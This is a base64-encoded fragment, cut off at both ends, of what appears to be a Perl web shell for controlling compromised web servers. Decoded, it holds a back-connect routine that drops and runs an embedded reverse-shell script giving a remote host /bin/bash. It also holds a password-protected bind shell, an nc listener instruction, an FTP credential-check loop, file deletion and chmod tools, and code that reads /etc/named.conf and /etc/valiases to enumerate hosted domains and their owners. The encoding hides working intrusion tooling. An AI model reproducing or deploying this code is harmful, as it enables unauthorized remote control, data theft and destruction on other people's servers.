1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXInPlsrXSBmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyPC9hPjxicj5cbiI7CgkJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCQkJYnJlYWs7CgkJCQkJfQoJCQkJCWlmKCEoJGlueydzbGVlcCd9IGVxICIwIikpCgkJCQkJewoJCQkJCQlzbGVlcChpbnQoJGlueydzbGVlcCd9KSk7CgkJCQkJfQoJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCX0KCQkJfQoJCX0KCQkkcmVzdWx0IC49ICJcbjxicj49PT09PT09PT09Pj4+Pj4+Pj4+PiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT09PTxicj5cbiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQmFja2Nvbm5lY3QgRm9ybQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZEZvcm0KewoJcmV0dXJuIDw8RU5EOwoJPGJyPjxicj4KCgk8dGFibGU+Cgk8dHI+Cgk8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CYWNrQ29ubmVjdDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPgoJPHRkPiBIb3N0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIG5hbWU9ImNsaWVudGFkZHIiIHZhbHVlPSIkRU5WeydSRU1PVEVfQUREUid9Ij4KCSBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNyIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjgwIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmEnKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPjwvdGQ+CgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkNvbm5lY3QiPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDbGllbnQgbGlzdGVuIGJlZm9yZSBjb25uZWN0IGJhY2shCgk8YnI+WytdIFRyeSBjaGVjayB5b3VyIFBvcnQgd2l0aCA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvIj5odHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy88L2E+Cgk8YnI+WytdIENsaWVudCBsaXN0ZW4gd2l0aCBjb21tYW5kOiA8cnVuPm5jIC12diAtbCAtcCA8c3BhbiBpZD0iYmEiPjgwPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPgoKCTwvdHI+Cgk8L3RhYmxlPgoKCTxicj48YnI+Cgk8dGFibGU+Cgk8dHI+Cgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CaW5kIFBvcnQ6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4KCgk8dGQ+IFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+CgoJIFBhc3N3b3JkOiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTUiIG5hbWU9ImJpbmRwYXNzIiB2YWx1ZT0iVEhJRVVHSUFCVU9OIj48L3RkPgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkJpbmQiPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDaHVjIG5hbmcgY2h1YSBkYyB0ZXN0IQoJPGJyPlsrXSBUcnkgY29tbWFuZDogPHJ1bj5uYyAkRU5WeydTRVJWRVJfQUREUid9IDxzcGFuIGlkPSJiaSI+MTQxMjwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4KCgk8L3RyPgoJPC90YWJsZT48YnI+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCYWNrY29ubmVjdCB1c2UgcGVybAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZAp7Cgl1c2UgTUlNRTo6QmFzZTY0OwoJdXNlIFNvY2tldDsJCgkkYmFja3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ2lSVGFHVnNiQWs5SUNJdlltbHVMMkpoYzJnaU93MEtKRUZTUjBNOVFFRlNSMVk3RFFwMWMyVWdVMjlqYTJWME93MEtkWE5sSUVacGJHVklZVzVrYkdVN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2daMlYwY0hKdmRHOWllVzVoYldVb0luUmpjQ0lwS1NCdmNpQmthV1VnY0hKcGJuUWdJbHN0WFNCVmJtRmliR1VnZEc4Z1VtVnpiMngyWlNCSWIzTjBYRzRpT3cwS1kyOXVibVZqZENoVFQwTkxSVlFzSUhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQnBibVYwWDJGMGIyNG9KRUZTUjFaYk1GMHBLU2tnYjNJZ1pHbGxJSEJ5YVc1MElDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnU0c5emRGeHVJanNOQ25CeWFXNTBJQ0pEYjI1dVpXTjBaV1FoSWpzTkNsTlBRMHRGVkMwK1lYVjBiMlpzZFhOb0tDazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENJK0psTlBRMHRGVkNJcE93MEtiM0JsYmloVFZFUkZVbElzSWo0bVUwOURTMFZVSWlrN0RRcHdjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBaV1FnUW1GamEyUnZiM0lnUFQwdExTQWdYRzVjYmlJN0RRcHplWE4wWlcwb0luVnVjMlYwSUVoSlUxUkdTVXhGT3lCMWJuTmxkQ0JUUVZaRlNFbFRWQ0E3WldOb2J5QW5XeXRkSUZONWMzUmxiV2x1Wm04NklDYzdJSFZ1WVcxbElDMWhPMlZqYUc4N1pXTm9ieUFuV3l0ZElGVnpaWEpwYm1adk9pQW5PeUJwWkR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JFYVhKbFkzUnZjbms2SUNjN0lIQjNaRHRsWTJodk95QmxZMmh2SUNkYksxMGdVMmhsYkd3NklDYzdKRk5vWld4c0lpazdEUXBqYkc5elpTQlRUME5MUlZRNyI7CgkkYmluZHBlcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKRUZTUjBNOVFFRlNSMVk3RFFva2NHOXlkQWs5SUNSQlVrZFdXekJkT3cwS0pIQnliM1J2Q1QwZ1oyVjBjSEp2ZEc5aWVXNWhiV1VvSjNSamNDY3BPdzBLSkZOb1pXeHNDVDBnSWk5aWFXNHZZbUZ6YUNJN0RRcHpiMk5yWlhRb1UwVlNWa1ZTTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktXOXlJR1JwWlNBaWMyOWphMlYwT2lRaElqc05Dbk5sZEhOdlkydHZjSFFvVTBWU1ZrVlNMQ0JUVDB4ZlUwOURTMFZVTENCVFQxOVNSVlZUUlVGRVJGSXNJSEJoWTJzb0ltd2lMQ0F4S1NsdmNpQmthV1VnSW5ObGRITnZZMnR2Y0hRNklDUWhJanNOQ21KcGJtUW9VMFZTVmtWU0xDQnpiMk5yWVdSa2NsOXBiaWdrY0c5eWRDd2dTVTVCUkVSU1gwRk9XU2twYjNJZ1pHbGxJQ0ppYVc1a09pQWtJU0k3RFFwc2FYTjBaVzRvVTBWU1ZrVlNMQ0JUVDAxQldFTlBUazRwQ1FsdmNpQmthV1VnSW14cGMzUmxiam9nSkNFaU93MEtabTl5S0RzZ0pIQmhaR1J5SUQwZ1lXTmpaWEIwS0VOTVNVVk9WQ3dnVTBWU1ZrVlNLVHNnWTJ4dmMyVWdRMHhKUlU1VUtRMEtldzBLQ1c5d1pXNG9VMVJFU1U0c0lDSStKa05NU1VWT1ZDSXBPdzBLQ1c5d1pXNG9VMVJFVDFWVUxDQWlQaVpEVEVsRlRsUWlLVHNOQ2dsdmNHVnVLRk5VUkVWU1Vpd2dJajRtUTB4SlJVNVVJaWs3RFFvSmMzbHpkR1Z0S0NKMWJuTmxkQ0JJU1ZOVVJrbE1SVHNnZFc1elpYUWdVMEZXUlVoSlUxUWdPMlZqYUc4Z0oxc3JYU0JUZVhOMFpXMXBibVp2T2lBbk95QjFibUZ0WlNBdFlUdGxZMmh2TzJWamFHOGdKMXNyWFNCVmMyVnlhVzVtYnpvZ0p6c2dhV1E3WldOb2J6dGxZMmh2SUNkYksxMGdSR2x5WldOMGIzSjVPaUFuT3lCd2QyUTdaV05vYnpzZ1pXTm9ieUFuV3l0ZElGTm9aV3hzT2lBbk95UlRhR1ZzYkNJcE93MEtDV05zYjNObEtGTlVSRWxPS1RzTkNnbGpiRzl6WlNoVFZFUlBWVlFwT3cwS0NXTnNiM05sS0ZOVVJFVlNVaWs3RFFwOURRbz0iOwoKCSRDbGllbnRBZGRyID0gJGlueydjbGllbnRhZGRyJ307CgkkQ2xpZW50UG9ydCA9IGludCgkaW57J2NsaWVudHBvcnQnfSk7CglpZigkQ2xpZW50UG9ydCBlcSAwKQoJewoJCXJldHVybiAmQmFja0JpbmRGb3JtOwoJfWVsc2lmKCEkQ2xpZW50QWRkciBlcSAiIikKCXsKCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiYWNrcGVybCk7CgkJaWYoLXcgIi90bXAvIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JhY2tjb25uZWN0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiYWNrY29ubmVjdC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgYmFja2Nvbm5lY3QucGwgJENsaWVudEFkZHIgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX1lbHNlCgl7CgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmluZHBlcmwpOwoJCWlmKC13ICIvdG1wIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JpbmRwb3J0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiaW5kcG9ydC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgYmluZHBvcnQucGwgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgIEFycmF5IExpc3QgRGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJtRGlyKCQpIAp7CglteSAkZGlyID0gc2hpZnQ7CiAgICBpZihvcGVuZGlyKERJUiwkZGlyKSkKCXsKCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkKCQl7CgkJCWlmKCgkZmlsZSBuZSAiLiIpICYmICgkZmlsZSBuZSAiLi4iKSkKCQkJewoJCQkJJGZpbGU9ICRkaXIuJFBhdGhTZXAuJGZpbGU7CgkJCQlpZigtZCAkZmlsZSkKCQkJCXsKCQkJCQkmUm1EaXIoJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXVubGluaygkZmlsZSk7CgkJCQl9CgkJCX0KCQl9CgkJY2xvc2VkaXIoRElSKTsKCX0KCWlmKCFybWRpcigkZGlyKSkKCXsKCQkKCX0KfQpzdWIgRmlsZU93bmVyKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZSAkZmlsZSkKCXsKCQkoJHVpZCwkZ2lkKSA9IChzdGF0KCRmaWxlKSlbNCw1XTsKCQlpZigkV2luTlQpCgkJewoJCQlyZXR1cm4gIj8/PyI7CgkJfQoJCWVsc2UKCQl7CgkJCSRuYW1lPWdldHB3dWlkKCR1aWQpOwoJCQkkZ3JvdXA9Z2V0Z3JnaWQoJGdpZCk7CgkJCXJldHVybiAkbmFtZS4iLyIuJGdyb3VwOwoJCX0KCX0KCXJldHVybiAiPz8/IjsKfQpzdWIgUGFyZW50Rm9sZGVyKCQpCnsKCW15ICRwYXRoID0gc2hpZnQ7CglteSAkQ29tbSA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkIC4uIi4kQ21kU2VwLiRDbWRQd2Q7CgljaG9wKCRwYXRoID0gYCRDb21tYCk7CglyZXR1cm4gJHBhdGg7Cn0Kc3ViIEZpbGVQZXJtcygkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJbXkgJHVyID0gIi0iOwoJbXkgJHV3ID0gIi0iOwoJaWYoLWUgJGZpbGUpCgl7CgkJaWYoJFdpbk5UKQoJCXsKCQkJaWYoLXIgJGZpbGUpeyAkdXIgPSAiciI7IH0KCQkJaWYoLXcgJGZpbGUpeyAkdXcgPSAidyI7IH0KCQkJcmV0dXJuICR1ciAuICIgLyAiIC4gJHV3OwoJCX1lbHNlCgkJewoJCQkkbW9kZT0oc3RhdCgkZmlsZSkpWzJdOwoJCQkkcmVzdWx0ID0gc3ByaW50ZigiJTA0byIsICRtb2RlICYgMDc3NzcpOwoJCQlyZXR1cm4gJHJlc3VsdDsKCQl9Cgl9CglyZXR1cm4gIjAwMDAiOwp9CnN1YiBGaWxlTGFzdE1vZGlmaWVkKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZSAkZmlsZSkKCXsKCQkoJGxhKSA9IChzdGF0KCRmaWxlKSlbOV07CgkJKCRkLCRtLCR5LCRoLCRpKSA9IChsb2NhbHRpbWUoJGxhKSlbMyw0LDUsMiwxXTsKCQkkeSA9ICR5ICsgMTkwMDsKCQlAbW9udGggPSBxdy8xIDIgMyA0IDUgNiA3IDggOSAxMCAxMSAxMi87CgkJJGxtdGltZSA9IHNwcmludGYoIiUwMmQvJXMvJTRkICUwMmQ6JTAyZCIsJGQsJG1vbnRoWyRtXSwkeSwkaCwkaSk7CgkJcmV0dXJuICRsbXRpbWU7Cgl9CglyZXR1cm4gIj8/PyI7Cn0Kc3ViIEZpbGVTaXplKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZiAkZmlsZSkKCXsKCQlyZXR1cm4gLXMgJGZpbGU7Cgl9CglyZXR1cm4gIjAiOwoKfQpzdWIgUGFyc2VGaWxlU2l6ZSgkKQp7CglteSAkc2l6ZSA9IHNoaWZ0OwoJaWYoJHNpemUgPD0gMTAyNCkKCXsKCQlyZXR1cm4gJHNpemUuICIgQiI7Cgl9CgllbHNlCgl7CgkJaWYoJHNpemUgPD0gMTAyNCoxMDI0KSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4wMmYiLCRzaXplIC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIEtCIjsKCQl9CgkJZWxzZSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4yZiIsJHNpemUgLyAxMDI0IC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIE1CIjsKCQl9Cgl9Cn0Kc3ViIHRyaW0oJCkKewoJbXkgJHN0cmluZyA9IHNoaWZ0OwoJJHN0cmluZyA9fiBzL15ccysvLzsKCSRzdHJpbmcgPX4gcy9ccyskLy87CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgQWRkU2xhc2hlcygkKQp7CglteSAkc3RyaW5nID0gc2hpZnQ7Cgkkc3RyaW5nPX4gcy9cXC9cXFxcL2c7CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgTGlzdERpcgp7CglteSAkcGF0aCA9ICRDdXJyZW50RGlyLiRQYXRoU2VwOwoJJHBhdGg9fiBzL1xcXFwvXFwvZzsKCW15ICRyZXN1bHQgPSAiPGZvcm0gbmFtZT0nZicgYWN0aW9uPSckU2NyaXB0TG9jYXRpb24nPjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+UGF0aDogWyAiLiZBZGRMaW5rRGlyKCJndWkiKS4iIF0gPC9zcGFuPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkJyBzaXplPSc0MCcgdmFsdWU9JyRDdXJyZW50RGlyJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdndWknPjxpbnB1dCBjbGFzcz0nc3VibWl0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdDaGFuZ2UnPjwvZm9ybT4iOwoJaWYoLWQgJHBhdGgpCgl7CgkJbXkgQGZuYW1lID0gKCk7CgkJbXkgQGRuYW1lID0gKCk7CgkJaWYob3BlbmRpcihESVIsJHBhdGgpKQoJCXsKCQkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpCgkJCXsKCQkJCSRmPSRwYXRoLiRmaWxlOwoJCQkJaWYoLWQgJGYpCgkJCQl7CgkJCQkJcHVzaChAZG5hbWUsJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXB1c2goQGZuYW1lLCRmaWxlKTsKCQkJCX0KCQkJfQoJCQljbG9zZWRpcihESVIpOwoJCX0KCQlAZm5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZm5hbWU7CgkJQGRuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGRuYW1lOwoJCSRyZXN1bHQgLj0gIjxkaXY+PHRhYmxlIHdpZHRoPSc5MCUnIGNsYXNzPSdsaXN0ZGlyJz4KCgkJPHRyIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiAjM2UzZTNlJz48dGg+RmlsZSBOYW1lPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+RmlsZSBTaXplPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+T3duZXI8L3RoPgoJCTx0aCBzdHlsZT0nd2lkdGg6MTAwcHg7Jz5QZXJtaXNzaW9uPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+TGFzdCBNb2RpZmllZDwvdGg+CgkJPHRoIHN0eWxlPSd3aWR0aDoyNjBweDsnPkFjdGlvbjwvdGg+PC90cj4iOwoJCW15ICRzdHlsZT0ibGluZSI7CgkJbXkgJGk9MDsKCQlmb3JlYWNoIG15ICRkIChAZG5hbWUpCgkJewoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOwoJCQkkZCA9ICZ0cmltKCRkKTsKCQkJJGRpcm5hbWU9JGQ7CgkJCWlmKCRkIGVxICIuLiIpIAoJCQl7CgkJCQkkZCA9ICZQYXJlbnRGb2xkZXIoJHBhdGgpOwoJCQl9CgkJCWVsc2lmKCRkIGVxICIuIikgCgkJCXsKCQkJCSRkID0gJHBhdGg7CgkJCX0KCQkJZWxzZSAKCQkJewoJCQkJJGQgPSAkcGF0aC4kZDsKCQkJfQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+CgoJCQk8dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+PGEgIGhyZWY9Jz9hPWd1aSZkPSIuJGQuIic+WyAiLiRkaXJuYW1lLiIgXTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD5ESVI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGQpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRkKS4iJywnIi4kZGlybmFtZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oIi4kaS4iLCciLiRkaXJuYW1lLiInKVwiID4iLiZGaWxlUGVybXMoJGQpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZCkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZGlybmFtZScsJyIuJkFkZFNsYXNoZXMoJkFkZFNsYXNoZXMoJGQpKS4iJylcIj5SZW5hbWU8L2E+ICB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGRpcjogJGRpcm5hbWUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRkaXJuYW1lJz5SZW1vdmU8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8L3RyPiI7CgkJCSRpKys7CgkJfQoJCWZvcmVhY2ggbXkgJGYgKEBmbmFtZSkKCQl7CgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlPSRmOwoJCQkkZiA9ICRwYXRoLiRmOwoJCQkkdmlldyA9ICI/ZGlyPSIuJHBhdGguIiZ2aWV3PSIuJGY7CgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz48dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7Jz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4kcGF0aC4iJmM9ZWRpdCUyMCIuJGZpbGUuIic+Ii4kZmlsZS4iPC9hPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPiIuJlBhcnNlRmlsZVNpemUoJkZpbGVTaXplKCRmKSkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJkZpbGVPd25lcigkZikuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGYpLiInLCciLiRmaWxlLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgkaSwnJGZpbGUnKVwiID4iLiZGaWxlUGVybXMoJGYpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZikuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0iLiRwYXRoLiImYz1lZGl0JTIwIi4kZmlsZS4iJz5FZGl0PC9hPiB8IDxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZmlsZScsJ2YnKVwiPlJlbmFtZTwvYT4gfCA8YSBocmVmPSc/YT1kb3dubG9hZCZvPWdvJmY9Ii4kZi4iJz5Eb3dubG9hZDwvYT4gfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBmaWxlOiAkZmlsZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0kcGF0aCZyZW1vdmU9JGZpbGUnPlJlbW92ZTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsKCQkJJGkrKzsKCQl9CgkJJHJlc3VsdCAuPSAiPC90YWJsZT48L2Rpdj4iOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRyeSB0byBWaWV3IExpc3QgVXNlcgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBWaWV3RG9tYWluVXNlcgp7CglvcGVuIChkb21haW5zLCAnL2V0Yy9uYW1lZC5jb25mJykgb3IgJGVycj0xOwoJbXkgQGNuenMgPSA8ZG9tYWlucz47CgljbG9zZSBkMG1haW5zOwoJbXkgJHN0eWxlPSJsaW5lIjsKCW15ICRyZXN1bHQ9IjxoNT48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+SG9hbmcgU2EgLSBUcnVvbmcgU2E8L2ZvbnQ+PC9oNT4iOwoJaWYgKCRlcnIpCgl7CgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7CgkJcmV0dXJuICRyZXN1bHQ7Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJzx0YWJsZT48dHI+PHRoPkRvbWFpbnM8L3RoPiA8dGg+VXNlcjwvdGg+PC90cj4nOwoJfQoJZm9yZWFjaCBteSAkb25lIChAY256cykKCXsKCQlpZigkb25lID1+IG0vLio/em9uZSAiKC4qPykiIHsvKQoJCXsJCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlbmFtZT0gIi9ldGMvdmFsaWFzZXMvIi4kb25lOwoJCQkkb3duZXIgPSBnZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7CgkJCSRyZXN1bHQgLj0gJzx0ciBjbGFzcz0iJHN0eWxlIiB3aWR0aD01MCU+PHRkPicuJG9uZS4nIDwvdGQ+PHRkPiAnLiRvd25lci4nPC90ZD48L3RyPic7CgkJfQoJfQoJJHJlc3VsdCAuPSAnPC90YWJsZT4nOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFZpZXcgTG9nCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFZpZXdMb2cKewoJaWYoJFdpbk5UKQoJewoJCXJldHVybiAiPGgyPjxmb250IHN0eWxlPSdmb